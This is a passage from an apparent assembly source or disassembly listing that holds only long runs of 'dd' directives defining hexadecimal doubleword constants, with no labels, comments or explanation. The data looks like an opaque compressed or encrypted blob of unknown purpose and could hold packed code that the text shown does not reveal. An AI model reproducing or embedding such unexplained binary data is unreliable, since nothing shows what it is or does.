7D96AE74h, 72A3FD00h, 1F3D8C51h, 0C6CC4C83h dd 51046F37h, 5791E207h, 1CA09365h, 58FE6EFFh, 9A81D02Bh dd 731A817Bh, 32B3A2ACh, 0E345440h, 51273C7Dh, 0EED00014h dd 5BD3598Dh, 23183A4Bh, 1A4A0FBEh, 0B7E9D200h, 230BEC3Dh dd 82ED5090h, 2ABC310h, 64735D21h, 0C706B073h, 67D40059h dd 23360522h, 0F04E1C5Ch, 0A0BAF444h, 2F043E01h, 0EA2703F6h dd 73985141h, 20F060BCh, 0C0F5E25Ch, 29D28048h, 4501707Dh dd 0AF998E3h, 30B1B91Dh, 5F70428h, 0F9618044h, 6B267C40h dd 7400F819h, 30A5B457h, 0FE9E729Dh, 1DD49950h, 4F0866AAh dd 0EC6C6AC2h, 4D0C54D0h, 110C6590h, 891B2E78h, 0E5A60254h dd 4DEEC8h, 0B17CB7C0h, 0AE650673h, 0F9A3D52Bh, 0AB3D6100h dd 8E089F92h, 0C8BE0236h, 3862718Fh, 9A0B6C58h, 41192C0Dh dd 20304FE0h, 73030FF9h, 0B96975F2h, 18B3E811h, 454D08F3h dd 0AC4C33Eh, 4DEBE740h, 513CDD87h, 0F8E45CFAh, 5E008CEAh dd 0D41E8BD2h, 0B059D377h, 0FBAC2080h, 782BE113h, 8723C03Bh dd 0F686AB00h, 476C69h, 5848E12Dh, 0FE2BDE7Fh, 0C8D23D76h dd 0BE88A08Eh, 158E62C0h, 968E6C2h, 7F785F5h, 6AA330E8h dd 7E7D2005h, 0A0E0990Ch, 11E17846h, 0EA8C1C0h, 407DCEDFh dd 0CC7CAE1Fh, 0F86CF4D9h, 2AD20B39h, 58D89170h, 59460735h dd 0ECF3E4A2h, 0B5C0308Ch, 85EB00BCh, 73D9F277h, 7248FDD4h dd 4F049C64h, 84A9D360h, 0A60CB42Eh, 0AE65CFC4h, 0AFC0F0FFh dd 0E808425Ch, 12018C86h, 7F937542h, 406C092Ch, 0C99D2005h dd 47894B8h, 2402CCCCh, 72A060E6h, 0D02C6E6Bh, 467E54D8h dd 341200F3h, 438A1D2Ch, 0B2F76F1h, 88BF3C21h, 232DA0E0h dd 0BAF85419h, 7FE1CA11h, 0F5BC3C2Ch, 2600ED43h, 0C7E8C39Fh dd 0A009B170h, 8098545Ch, 6822B2BCh, 4C0707D6h, 55804244h dd 2C800BDh, 56D4DA73h, 80E4C4A5h, 6E584067h, 8E16E437h dd 8C3A4720h, 0DCEDF710h, 0ECCB8C92h, 0ECAA0409h, 0F5621C67h dd 6A5318EDh, 0C5015105h, 1887A12Bh, 0E54C0A9h, 709A6B74h dd 60E094CDh, 56AC69Eh, 0B0E36D8h, 0E004814Eh, 246188A9h dd 8817699Dh, 0EE89FB11h, 85471403h, 9045100h, 0AE8AC7C8h dd 491CBC28h, 8211681Dh, 0A1F0F280h, 1E01D12Ch, 2385373Fh dd 186DA4C5h, 0FE32460Fh, 0AFB81863h, 0BCA0385Ch, 13C8C87h dd 9CB08055h, 430F8238h, 3C751690h, 6E280403h, 0FE90B407h dd 96D02648h, 0BF23403Ah, 0B46AC400h, 16A999E6h, 2B3D96h dd 475E450h, 0B090FC6Bh, 0D08149Eh, 0B29800F1h, 6019071h dd 0C21A905h, 44F58343h, 0FBBC1868h, 475C008Ch, 72F0320Eh dd 69C1F368h, 839D047Bh, 493C0822h, 0DA76C083h, 38C83A73h dd 7CADBDB5h, 0AF5F8060h, 8864003Ch, 7C04919h, 3E12F442h dd 0E0A2585Ch, 23AC2E93h, 0DE800F5h, 1F5614F7h, 8740DD00h dd 0CBD10478h, 0FCD1D4C7h, 28CF4E8h, 6277AC17h, 0E05EFC40h dd 67B07109h, 6086C4D8h dd 445BE55h, 710C7FF6h, 2384AD3Ch, 4DF001B0h, 19CB3E40h dd 0E8422FEEh, 0F380B24Dh, 0D4C9A38Ah, 0BD6ED7E6h, 22B38021h dd 1FE2CE07h, 14B61048h, 80B85837h, 6574038Ch, 39098348h dd 0BFDA05FBh, 70502450h, 34123E38h, 74918B2Fh, 0DE01B206h dd 25602C24h, 0AC384863h, 6892160Fh, 0C8BCCE38h, 723CC3BCh dd 9CC600F5h, 0E4B68A06h, 0BC38835Ah, 7A8F40C3h, 80592C2Dh dd 573C20CCh, 3AFD5A90h, 0EC23A0h, 8F4BE6FEh, 98F6718Eh dd 6B186301h, 0A3DC8A26h, 2ED38869h, 0C3EC380Ch, 1DE2F200h dd 17C88BE9h, 6B7C3B00h, 5A8AF52Eh, 0AA05A42h, 809C7290h dd 4E0A0E37h, 0E4265C28h, 733E8C30h, 30C42B2Eh, 6180608Dh dd 23D42F2Fh, 0C66B00F1h, 0EB0C3E70h, 1BAC8597h, 1A1E0B4h dd 4E531E02h, 7E416B7Eh, 86A1F0h, 174FC747h, 0DAC06A72h dd 9A0FB4B8h, 851E7441h, 90A48ABBh, 0D06135AFh, 0E044B6A1h dd 4349B0h, 0A989FEB2h, 0B4FA646Dh, 97F08795h, 0ED04C0C7h dd 80656B47h, 558273E8h, 0E50C809Dh, 0EF3D83h, 0A7A98C68h dd 40EE03BAh, 0BC7BB099h, 389A7360h, 8ED6C201h, 5CE7F761h dd 38F1D044h, 206E2Bh, 96C27D46h, 4CF47C81h, 0FB0140BEh dd 9FE836Bh, 4581A7EFh, 600DE468h, 12F6AB6Fh, 40A90409h dd 0EB8465DCh, 0F71F4EEFh, 26B8A649h, 0ACA4D0E1h, 258E3109h dd 909591F0h, 0B723E43Ah, 94BFF0Fh, 58DCF357h, 4C1C015Bh dd 63C260CCh, 0C03F5880h, 8087D390h, 51DEF218h, 9FE74ECEh dd 0C7056700h, 2E1C3B5Ah, 9885D20h, 0C4CBF160h, 0BA4E1070h dd 54A19420h, 0AD096C8h, 7EB4BC27h, 3A00FB46h, 0C8104623h dd 0B20984DEh, 22146597h, 70A0FD8Ch, 44179598h, 8B80B511h dd 654594E5h, 0C62B6E00h, 0FA09A0Dh, 5B290CCCh, 5858CE92h dd 0C9AB1C8Ch, 38BE1631h, 0B300F8DCh, 0DA3914C9h, 198501Fh dd 0F77EA3BBh, 0DC21E585h, 200B4CE7h, 0E8AED334h, 4EC03AACh dd 0F330C2EAh, 2AD4D20h, 2A04009Ah, 4B7F0AAFh, 46FCB9D1h dd 0AC777000h, 6055A46Fh, 0B09D9784h, 60ECEB88h, 0A6584A31h dd 12093025h, 0E090CD44h, 7A875611h, 0A3152412h, 8DD7401h dd 0D4637826h, 7530F1A2h, 0B23C0089h, 0A01E13FDh, 9E01352Dh dd 6F46FCCh, 7C338EAAh, 0CECE8E1h, 0D0D400F7h, 718210A1h dd 4900E299h, 0FA793439h, 48084427h, 0CB4A64F9h, 0C0BCC890h dd 8B12BEB5h, 3D399E00h, 7B22C4F7h, 0D6E52824h, 89261EB0h dd 995242F9h, 0B84A8B54h, 465E5474h, 90B6308Ch, 2C33427h dd 31027B3Ch, 0D82083C1h, 0E6DF29D4h, 0A4DE48A9h, 1E58C00h dd 666DB064h, 58076F00h, 6AAE9720h, 0B084F2ACh, 0E0AB5151h dd 0F46673C1h, 0F5C085F3h, 8D01FC6Ch, 0E5491C55h, 607C3CFDh dd 0F8344F82h, 54204500h, 0EC079DB4h, 3F7A1DAh, 7240759Ah dd 0ECE8F140h, 0C200F40Ch, 8DBED097h, 67B7D0Fh, 60D447FEh dd 9C0049FCh, 0AB355EECh, 9BFEBBAh, 0B1DCD12h, 0D0575F00h dd 0B0BC2067h, 308E2896h, 3DC099C8h, 0B2606272h, 962C9E98h dd 6FAC5690h, 2F9D01E4h, 0A5526639h, 5AAAD9F0h, 40F0C5BCh dd 2B0B5DE0h, 74B269FBh, 3D87672Fh, 7D7300C8h, 8581C533h dd 2525132Ch, 0EE120F00h, 98F6B98Dh, 0E57E5Ch, 403833E7h dd 0C10D90E6h, 0ED6B9114h, 8CB4AC70h, 8C71CD00h, 0C2BE6CD5h dd 0D7E21647h, 88A8D7FAh, 467480A6h, 86D00087h, 9B2FF023h dd 0F998129Dh, 8C8906Dh, 0FD40685Ch, 1CD72CA0h, 0CC73495Ch dd 241BAF58h, 12FC7E7Fh, 47A083A5h, 0A104A0C5h, 0F71D2217h dd 7036EC0Bh, 0F24A0508h, 0B64086AFh, 1993B0B4h, 0DCF7456Fh dd 0A400C158h, 43C912E5h, 0F279A0E9h, 6BF100D0h, 0F37C7E2Eh dd 0ACECFEBCh, 0A2499B00h, 71B002B1h, 44DCA767h, 737860B1h dd 0CFE80169h, 3A77EB50h, 30053E30h, 48F44F38h, 8EE4B43Dh dd 9390AD3Ah, 390FE06Bh, 3D0492E4h, 5A8F824h, 0F2547CB8h dd 0C4004E9h, 80C0BE60h, 0EA3530F9h, 0E31FC1E5h, 8B2F86EBh dd 0D99C5990h, 774418B5h, 0E77C12EBh, 0EE989060h, 3502993Ah dd 10620A4Ch, 4920FEFh, 0B8B4C8h, 0B728385Dh, 56AA02F6h dd 0A45C2BDDh, 44528462h, 4C695D68h, 7B7465Ch, 8B84818Eh dd 600452D9h, 0A9E98911h, 0AA2F67F1h, 7BB44A87h, 0CBA87038h dd 33940100h, 0DB3CAF18h, 0D7452C23h, 98618074h, 7C83842Fh dd 0CD7C03E2h, 4674CCB4h, 28DD0002h, 0EA8E5947h, 0FAA30A52h dd 40B85F43h, 0A56A744Eh, 0C9EEF71Ch, 11B897A7h, 0A56E80B4h dd 2E51E4Eh, 6209CBC8h, 0DC99DC30h, 3C113B86h, 70AC60h dd 0F2D8E931h, 0DD8D2408h, 10846B58h, 1450D918h, 0B40321E0h dd 0E7815E0Bh, 60F064BCh, 3B47E12Bh, 5F0FADCCh, 0FC402E01h dd 0C724EA4h, 0FA5B0376h, 0F1844C8Eh, 0FCC330EDh, 542338A6h dd 460400CBh, 5C1B2B88h, 52F44938h, 0EC7832CCh, 377060B9h dd 8F83019Ah, 99746A60h, 0F2486240h, 991D300Eh, 37D9EB00h dd 88CC4382h, 92EE17DBh, 0BE7C3032h, 0AC003765h, 2985E63Dh dd 9FD06F8h, 0E4DC72CCh, 35B7DCD8h, 0DA8887DCh, 0AA6C057h dd 6700F741h, 1A266B2Dh, 60F4FC77h, 0BBB8104h, 0B87B3A7Ch dd 641CB0B7h, 0E6CF3874h, 40F9AE9Ch, 7AF4BA12h, 3E0BBD16h dd 4D56E783h, 0CA16038h, 831F642Ch, 89B0DE6Ch, 5D60502h dd 9F2409D2h, 8A82EB55h, 0BCC4D0D8h, 6301D60Ch, 8CB8359Ah dd 242775D7h, 10902B4Eh, 0DFC0ECE8h, 17B7F592h, 6C77FEE0h dd 0A7883B13h, 288188Fh, 8DD13BC0h, 0B7D60057h, 0C69A6197h dd 203387Bh, 4841DDA4h, 0A73105BBh, 0E8D05480h, 88F226ACh dd 7C70C4B9h, 2C00BF62h, 34817F0Ch, 91E41D9Dh, 7A998081h dd 20EF420h, 0D581795h, 60D4BD25h, 9F0467Ch, 80470EF2h dd 2E878AABh, 96CF0023h, 19A4BB93h, 0A1C0F124h, 7CAD04B5h dd 60E6010Bh, 0A4F8DF36h, 86306025h, 0F9E0C18Ah, 2B4AE84Ah dd 0EDF610ACh, 118C1C1h, 6BE9C362h, 0DC003BD7h, 169C1FA9h dd 20109DFAh, 0EC002F25h, 64CB3B6Ah, 320338h, 36F631B7h dd 7BCF87E9h, 94692F2Eh, 8343D41Ch, 0F8ABBB4Fh, 0B7E1D9DBh dd 33830035h, 0E8EA8D21h, 79A10F3h, 247AA3E3h, 0E0CA9B55h dd 624050FEh, 1DF34Ch, 74BF2E05h, 8935BE5Ah, 0D2F1F702h dd 4272430Ah, 4D980BF8h, 0FBC3E088h, 0F602DF28h, 0E4770552h dd 6F1A0058h, 7A0EF7A1h, 845DBD0Ah, 10D50986h, 36E1E8F6h dd 6D1DFC8Dh, 93CB25Ch, 0B0A77E18h, 9A727C08h, 2037BF58h dd 0CD477C80h, 518FD677h, 0B448FC20h, 5C6C10B8h, 0F0411Bh dd 71A1BB2Ch, 74B9AC04h, 0C498D6B0h, 0B8C1D417h, 3101E823h dd 3377B446h, 48B0187Ch, 5B054636h, 7F0E90E5h, 0CC83CDAh dd 485AB5C1h, 9772FEE8h, 84AACC22h, 0D05AB044h, 80FF7040h dd 13C1167Ch, 9EF44B41h, 5009C3ECh, 0CEB18057h, 0D59B044Ah dd 0AD19A728h, 3EFEB898h, 0F20B3DA1h, 0B2B24Eh, 0F0AD8084h dd 0B8027C4Ch, 0F3600464h, 0E40065A4h, 6E9260F4h, 4F27014Dh dd 0A86A7794h, 94132AF9h, 6A7FFC29h, 84CB0020h, 5C0814A7h dd 2EF917C4h, 5E004093h, 4632A9F0h, 0FAD9401h, 0C6F387E6h dd 289DC9F9h, 6C5704A4h, 3AE0C90Bh, 1774846Eh, 0BC588E8Fh dd 195023Ah, 0F6B9B30Ch, 0A674053Ch, 60B88Ch, 1830AD71h dd 40FA2C5h, 0D4C163B4h, 844881FCh, 688881F9h, 0F386AA77h dd 0DE244B6Ah, 0D8386C72h, 0E45AC79h, 0E1376800h, 0EA175648h dd 71041409h, 9B4ED8D5h dd 7B5680B8h, 0FCB1F2h, 4AF05F9Eh, 8E18543Eh, 0C885FD24h dd 887F0D82h, 76D854F2h, 48028446h, 0C85CAB27h, 8DCD344Bh dd 5063ECh, 1E4193BFh, 0AAFF2156h, 5000C5E8h, 21007182h dd 9D3E63A3h, 9049A28Dh, 30EC4DCCh, 31F7D018h, 2C00BA43h dd 0F44DCEABh, 437FEEBh, 350B9F87h, 2A44C863h, 6082E487h dd 1F51A25h, 0B88613E3h, 81F61BAAh, 80346241h, 0B2E5CBC5h dd 0E1CD2F2h, 0FE04765Ch, 69B92740h, 0F63B6121h, 7C1B008Fh dd 0D3F86396h, 646B021Ch, 454E26AEh, 720950ECh, 61D89C6Ah dd 26DCA2F4h, 2507056Fh, 0F8DF3CA9h, 42A01E10h, 0C09E84D3h dd 0B02560C0h, 8B6220FDh, 0DA7EAA19h, 3A701268h, 168C758h dd 80F6647Fh, 87C9EEA0h, 4A75D045h, 0BD188588h, 0B2ACE0h dd 0B56EDD47h, 9A0B0E11h, 2139AA00h, 0B93CBE40h, 0BD8A13F7h dd 43B8E0DEh, 41F2D530h, 19EF40h, 0DDD29C3h, 1C61E3D4h dd 78476825h, 72A940CCh, 4088622Dh, 34A898C4h, 0E840BAD1h dd 8CBEEC3Ch, 978ADF00h, 9DB48648h, 541E138Eh, 2844F144h dd 43EABC48h, 0F29500EDh, 0AE9BC5F4h, 0F9609D8h, 0D81057h dd 5CC47C5Eh, 0BC88E8CFh, 0E8060C0h, 0BE96021Ah, 0A53319CBh dd 2BA118C1h, 54A0E0C0h, 289748F0h, 0D0D57316h, 45C59E98h dd 7B114200h, 3F644D76h, 1F917E5Ch, 926FCA52h, 291C04F7h dd 0A39B4185h, 95DA7742h, 80B09154h, 0CE0BFBADh, 832501C7h dd 685729EAh, 78203061h, 44427427h, 24FA16D8h, 7856BDh dd 0FEC36BE0h, 0C327885h, 0C228D93Dh, 61C4C005h, 0CD455E93h dd 146A3BD0h, 97720D04h, 0A8C1AA69h, 9C4142B3h, 0FE009204h dd 0EE269B26h, 46743002h, 0CEDB0780h, 0E497D9D7h, 0F4EC54A2h dd 54CD4970h, 362D01C1h, 9DBB0C0h, 1DE62375h, 68ACE07Bh dd 0DA8700D6h, 95EEB22Ah, 6D057B90h, 6B3C7520h, 38A3ADC4h dd 0AB30F1A2h, 23020252h, 40DA0392h, 465C3454h, 8A6D000Dh dd 85EF498Fh, 0BDDE7C32h, 0F9E96890h, 0D8C8744Bh, 0F5C3200Ch dd 5FD7A90Bh, 6270D980h, 0A8001A8Bh, 8F859C54h, 0D0302A2Ch dd 4D6597A3h, 9B00382Ch, 4A2B2DA0h, 0E4E0BE4h, 984630C1h dd 6BA99920h, 0E86510A6h, 3A600CE4h, 1709828Ah, 7C7072B8h dd 110E0394h, 0BD7C808h, 0BF643867h, 0C0559562h, 785269h dd 8E4FAA23h, 3D3AFE2Ah, 8CED0200h, 64F8E7B0h, 48E83C8Ah dd 6D406600h, 0C2C10F5h, 9098133h, 0C6210B85h, 0D5806D37h dd 0D49EE071h, 4B33ED18h, 722DAF32h, 0F2E0086h, 45647C65h dd 397EE88Ch, 48E7D019h, 4218DE71h, 10EB6D08h, 407EC45Ch dd 296D39CCh, 0DD1006E3h, 184030E9h, 0C4E863Ah, 11EC31FCh dd 0CFE00F08h, 202370C1h, 930698Ah, 0F8282101h, 0A2D100CFh dd 0DA4D5E68h, 0FB060271h, 8982F0C3h, 6F771B71h, 40C0302Bh dd 19C06966h, 831B9D11h, 1CE952CDh, 31308622h, 0CBDF69F4h dd 45060054h, 0C1AF114Eh, 150C01B3h, 402F2B85h, 0B68C0CD2h dd 28692DCFh, 414AF500h, 0EC6A40B3h, 2009C6ABh, 800208Dh dd 4F44AFDh, 14D69E79h, 4C8FBA39h, 58B77D08h, 872FAB01h dd 88F049E3h, 5E0F3085h, 42B8CE18h, 6A7F740Ah, 9205D084h dd 0CC08ED4Ah, 60E164DFh, 7AEC6D43h, 7C448C10h, 6D3A00CFh dd 4922C1DEh, 0FB2E88B2h, 0F209B5EFh, 374A0081h, 25BFCE8h dd 10EDE028h, 0A2C30CECh, 0DD664AC0h, 0DB3CEB50h, 6D41048Ch dd 623410F6h, 38C9207Dh, 0C505C46Dh, 59A089F2h, 0C0BDA848h dd 0B3424AEAh, 916E1821h, 0F1EF011Eh, 4EC6314Ah, 0DC53FDCDh dd 98EBAB42h, 6E5338h, 91097E71h, 0FB28D7C0h, 0D7FBD00h dd 0A716267Ch, 0A495509Ah, 0CC190062h, 3789E6BBh, 8929050h dd 0A6C32C01h, 0BC605E5h, 0CCCE0DDCh, 4F213608h, 74A6BB00h dd 6F7C91D4h, 4B3C3F97h, 0F85EA900h, 0E7B3757Eh, 1F8CDD56h dd 10896D3Fh, 941C44h, 0A86D36CBh, 1954D84Fh, 8F7D9109h dd 82000330h, 54794283h, 833029E2h, 0C5E2D1h, 182A786Dh dd 0D612B0A7h, 293C5033h, 11C1F824h, 0D8B70320h, 60DFF114h dd 374261C0h, 0D0D1B509h, 0C41000EEh, 39CB6D6Eh, 1D1FC12Ah dd 4C2C9549h, 0C90B4AACh, 801CEAEDh, 14343677h, 2E6D2477h dd 0C478B104h, 68C40717h, 243EC88h, 0ABC79EE3h, 0D60C3C2h dd 0C0487314h, 8C27E824h, 44881603h, 39D8ED1h, 0CAC158C6h dd 1DE11164h, 7DAE4FBh, 1F89C3Bh, 8CC47E2h, 1893C1F7h dd 6F6101CAh, 4B76C446h, 0C21F8840h, 0AC40630Dh, 8E039022h dd 421A5E5Dh, 0A27FD08Ch, 7C54907Ch, 0CF12F407h, 0D9279F19h dd 11BCCA2Ch, 0A6A7803Bh, 432605E9h, 38220Ch, 3EA6BF43h dd 0ECA2753Ah, 0FA48E1Fh, 4A89DC00h, 642F9CB5h, 63BFC859h dd 0B348F8ECh, 21448C08h, 4AF304F1h, 80029D87h, 0E595BB59h dd 0F394804h, 7080E66Ah, 416EACh, 0E8C15C3Ch, 39C212E2h dd 808BB924h, 0CB3FBC82h, 8C64D6h, 0D339A713h, 8150A69Fh dd 0F4F92E24h, 72849180h, 0ED4BD11h, 0AA3E7CECh, 7E5F9D40h dd 190A8823h, 9C75C687h, 0DAAFEA00h, 5689E74Ah, 0C402943Ah dd 1E05E6A6h, 42102931h, 1375A6BCh, 0C22A4400h, 0D072ACE2h dd 6D1009EFh, 0CC043DA3h, 0CBF48415h, 0C085C888h, 0BB679A73h dd 31CE6B00h, 0D0BA865Bh, 0DBB8A830h, 0A8D200C6h, 0D42188AFh dd 60A5E6E0h, 5B604064h, 0DA246506h, 0F001C29h, 3B0E3C60h dd 11C0B12Bh, 0CFE980F3h, 8CC470A6h, 1C2B0544h, 53CFE1h dd 0D25EB44Fh, 5D095A42h, 9984836Ch, 0C5183D50h, 5E7A608h dd 4437C4B6h, 0F500BD41h, 0C06BADEh, 0CE976900h, 0AD7307CAh dd 1F890FCDh, 0DFA53C63h, 235C3A48h, 13460004h, 97892857h dd 0F1BE602h, 2A82C8F3h, 0BA608B0h, 75B44A00h, 7E3E9B76h dd 20B4B293h, 7109E964h, 921AB85h, 50500200h, 7A870014h dd 10B9332Bh, 991825F1h, 0AA48CD00h, 0BE9E9093h, 0A29F1218h dd 98641469h, 27E5D800h, 0FD484F4Bh, 0E30480ACh, 0F470C0CFh dd 2920FB62h, 464CFDBh, 76DE052Dh, 3980C86Bh, 4C7F0124h dd 31F62E8Ch, 0C7CC3E21h, 0D438C880h, 0D597ECE2h, 78B7D70Eh dd 0E65D408Fh, 3E72980Dh, 240CB923h, 25184FCh, 0A0A8705Ch dd 908D7F80h, 6BF900ADh, 0C7DABFBCh, 21D4FC30h, 906618B2h dd 0F0715C39h, 0B25A001Ah, 496F3BABh, 123ACCB5h, 0B37417A7h dd 8023742Fh, 0F53CA500h, 5DEAF6Fh, 64B933A8h, 4FDC01ECh dd 267F6Ah, 50F43425h, 8CBBE05Fh, 444AF80Eh, 646DC8B3h dd 0FFED4022h, 2A6A94Ah, 0A2385FD2h, 70802E59h, 0D086EA3h dd 40F29200h, 27521DC4h, 0E84C015Ah, 58C38DAEh, 739DC413h dd 0E6888F62h, 76B2E007h, 0FAD801A1h, 8A650DF9h, 0B850201Fh dd 0F3583161h, 0BC2553AFh, 31A20433h, 0C4177730h, 58BB78h dd 0D04492ABh, 871506D4h, 18328F6Ah, 24D20D1Dh, 131E9828h dd 0EC0D49DBh, 82810FCh, 8C7FBCh, 8A695E71h, 0FA4A5D08h dd 0CE6C4159h, 0F879CA07h, 465C30AEh, 3152007Fh, 10FD1478h dd 87DB2A7Dh, 306458ACh, 2BEDA280h, 3D905672h, 0B7530D00h dd 710779D3h, 764124AFh, 0A7ED00BCh, 8F328766h, 778C10C1h dd 0C25EF6Ch, 30B81442h, 3F114AF7h, 1E88F0B3h, 4AFEEA80h dd 260E7250h, 64C49E31h, 0CFE660F2h, 0BC7023A7h, 2A00FC11h dd 6F1BCFDEh, 0D850FE7Fh, 27250898h, 11A8974Fh, 1E18FFAh dd 0E7103BEDh, 160419ACh, 719C049Dh, 0EF349181h, 0E2F03388h dd 74BB3029h, 23D05700h dd 0D782CF75h, 9D890B2Dh, 0A4212EE7h, 736C768Ch, 78062EF0h dd 375403Eh, 312F04A7h, 0F589052Eh, 38189618h, 221409h dd 716A2812h, 20864987h, 1AB2F03Ah, 0CCE7E8D1h, 68602444h dd 7200BE25h, 0F565A3DDh, 24C9B353h, 37C0E20h, 8E137511h dd 5CCC004h, 6CE3E86Dh, 0DD31FCE2h, 0A9E7430h, 3D53AC12h dd 0B4A8A0h, 4CE03E9Fh, 9BAD918h, 225B71Fh, 79AD5581h dd 6060CF88h, 0B94D1A9Ch, 0B8C83981h, 0F373C3Dh, 7F5169EAh dd 0F0387BFAh, 35ED4E05h, 0BCBC08CCh, 24CA1385h, 0A5156891h dd 18CCFBD8h, 598753E9h, 4D00CE28h, 0B93D982Bh, 255B136Eh dd 0D8102FA1h, 878004F4h, 3810C4D0h, 6EBF0006h, 137620E4h dd 80D4AD6Fh, 295C3BD8h, 518A2B0Fh, 19DC8D6Eh, 80CDF12Fh dd 5FE9E6B9h, 32B3AC46h, 0B051BD01h, 7C71B059h, 0C5160218h dd 40041540h, 3A133EAFh, 1C0523A8h, 356640BBh, 9F9C62D3h dd 0F0995831h, 900F8C0h, 931F88D2h, 0CD1354CEh, 8C75643Ah dd 273B48h, 10C5E92Eh, 0A07E3DAFh, 938D67E0h, 80FF1138h dd 70C2CFE5h, 0FD448CE4h, 8BDD5827h, 0F4171D25h, 0FC802391h dd 464206Ch, 5F3B2A17h, 2A010D0Eh, 467CCCF5h, 0F517707Dh dd 0C820B0F2h, 58650525h, 383C0C2Bh, 70049D8h, 6EA653AEh dd 3A020840h, 8E05CB46h, 44D8C70Ch, 0F94F631Ch, 89809265h dd 2837F2CFh, 781DE2B6h, 0CB413FB8h, 33ED058Dh, 0E7D04903h dd 0B709F189h, 602D7229h, 26AF75C0h, 1D5030AEh, 59630F0Dh dd 8866B082h, 27A598C0h, 0B800E49Eh, 0FBF2BBFCh, 79786065h dd 45E179F9h, 83210300h, 4C5A4E5h, 0FF22005Ch, 3F595344h dd 0F94DFCE0h, 0CE245010h, 4F9B0713h, 0C038C848h, 5E0A6BEh dd 0B82CCE4Ah, 0A6B6004Ch, 127CB97Dh, 6120C455h, 692502D1h dd 0FAD0B249h, 0A1B6E480h, 57003686h, 4B9E93Ch, 0B045A781h dd 845D51D4h, 0C03C90FAh, 5E213A6h, 798CBBEh, 0F6A6B84Eh dd 982A5270h, 177A05F2h, 28E0287h, 0A10C8BA4h, 0F06F04E9h dd 18C290CAh, 50F03765h, 45E94450h, 0F599AB0Fh, 3816B2D0h dd 0DE38106Eh, 8FBED401h, 28247265h, 49B52EFCh, 7C22A517h dd 196C5178h, 637781A2h, 5445054h, 5048CD59h, 48CF1C4h dd 70C4CFE7h, 0FCCED4h, 63CFDF2Dh, 4B8D4D66h, 1E444589h dd 1F841331h, 84799468h, 0F8430C75h, 0E629B3AFh, 0D6689Ch dd 75323C08h, 38946824h, 0A1B83E00h, 2E5D876Ch, 1070B931h dd 8C25FCF7h, 0B5431300h, 4174BEF7h, 9F0E0A2Eh, 96E87F56h dd 0DF58C8CBh, 6D45058Ch, 385410EAh, 3C01CDDCh, 3DD3696Dh dd 18F8C3EBh, 0A4489050h, 61A23F0Ch, 5338260Bh, 50406C4Ah dd 21671E0h, 0F8CCCFDAh, 0B7E10413h, 0A0192CA9h, 5F2D9D6Ch dd 0AFC4B887h, 3C650C73h, 6F69E613h, 0A5933B2Dh, 683BF1C0h dd 8008523h, 0E76176DEh, 8062019Fh, 0B33B24ABh, 8F10C1A9h dd 0CAE2C498h, 0E692A08Eh, 2923BC2Fh, 40509A07h, 0D72B017Eh dd 60E2FF51h, 8833BF4Ch, 70A80A3Bh, 0A915FD42h, 0FC39CFh dd 10F034B1h, 2307B4h, 0A287665Ah, 4971EC80h, 0EAE33704h dd 7CE277A8h, 9F3123F2h, 85D54487h, 76659199h, 0D1802030h dd 53E96763h, 0B3D10039h, 20B57B70h, 0C00505DDh, 0FD8375AEh dd 84DB1CC4h, 0B50B8BC0h, 594A2F96h, 6400E86Eh, 68AC4253h dd 0B907F556h, 6507BBCBh, 0E1E440DBh, 41D21239h, 88F48B4Fh dd 0C9EAC1FFh, 3841E40Ah, 71353102h, 0F3596BA5h, 12EC0F0Ch dd 18271786h, 192C66F4h, 2C3E7587h, 4674F4A7h, 431E0025h dd 7384198Eh, 710609A0h, 0CCA0BDB7h, 35ED31CDh, 0EBCCC912h dd 47AC540Bh, 603664B4h, 4DB896h, 775AFB24h, 10C3AB4Ah dd 37154B2Fh, 8FFB80A4h, 90CD4D82h, 22400FEEh, 9F081D9Dh dd 2FE71639h, 33239Ch, 42FA7A9h, 155C8DDEh, 0CAF041C9h dd 77878871h, 0E5BE439Bh, 6888FB08h, 6066417Eh, 1660AA6Bh dd 62489838h, 0FB3A0A19h, 92A418D1h, 41201FA7h, 0E8ADF2A9h dd 250C628Bh, 0F388853Ah, 0FC7D30F1h, 2001DB8h, 0AD2EC2Ah dd 0C23FC1Eh, 8103864Ah, 0A22F0608h, 43C0229Fh, 4638D008h dd 0CFE202FEh, 0C7DC70C3h, 126136Ch, 50A8C5B6h, 0F0D06681h dd 14F36F37h, 0A4980E57h, 1E215213h, 9D12C225h, 0E88A3403h dd 423BF610h, 18218104h, 3FEB8571h, 0A479E002h, 3C183679h dd 515C9D00h, 3A754BB3h, 3E2705E9h, 9008B0F8h, 2F280DD8h dd 95C65B05h, 0B04231A1h, 58B4C9B3h, 0A90B1368h, 23F03A48h dd 9741340h, 102BFA9Ch, 3D229849h, 45EC30h, 689BAB4Bh dd 40B8CE9Ch, 465E9496h, 139202FDh, 0C8ACD1B5h, 58A69C68h dd 0CA25382Ch, 0FB11609Fh, 5EBBB380h, 0A55C1101h, 2AE04158h dd 989A6460h, 0D00802E3h, 3EA879A3h, 20791459h, 0E100AC18h dd 0B5D11FF8h, 0C30C58C9h, 7F70BF60h, 34F86BA2h, 23B4724Dh dd 4AEB01BCh, 3C10B343h, 0F2EEB034h, 26E21F4Ah, 3553C037h dd 39B5D4C6h, 88540F5Bh, 2DAF1050h, 8E51070Bh, 2A0C6CA2h dd 0FAF188F1h, 630D9A18h, 697B6665h, 0A10CEDD4h, 0F5E0E4A4h dd 0B38000DDh, 0FB5FAE8Ah, 5B782179h, 0F11CD114h, 0F3311880h dd 5A9F7151h, 790006Ah, 27F744Ah, 4B119EFBh, 0F3C6005h dd 9E0930A3h, 0A8726A4Eh, 992C93FAh, 4674541Eh, 0B5A3051Ch dd 0C0DBB3CCh, 0FEC38780h, 6005DDB7h, 0A6124119h, 0BCF16FD5h dd 0DB890CEh, 0F6F09E0Bh, 344B472Eh, 0AC275B3Ch, 9A859787h dd 403A0816h, 7B001F23h, 0E212F333h, 3C8B58E6h, 0C68717C3h dd 10BC01CCh, 4438BF85h, 9ACB3900h, 70B29F6Eh, 155D20C5h dd 73382FC6h, 95AD3969h, 3497EC25h, 5A873291h, 71A1C046h dd 39FEFE1Dh, 0BC84042Ah, 5D046EFEh, 0CD66526h, 534958C0h dd 6B41C088h, 0DE3B7F9Bh, 1D7A1C03h, 0F0F63368h, 4B5CCE44h dd 80349BE2h, 5503C324h, 8E200216h, 0B3D6E3F2h, 1D6985Eh dd 0B3F54F1Ch, 4F7C0B1h, 30DA70C2h, 10FC6D3Eh, 0EC2C3C4Fh dd 6D3500C8h, 41DDD727h, 0A30080CCh, 0A5213EDh, 60F50133h dd 9D6B5818h, 0D8A23A43h, 25445C47h, 332EAE60h, 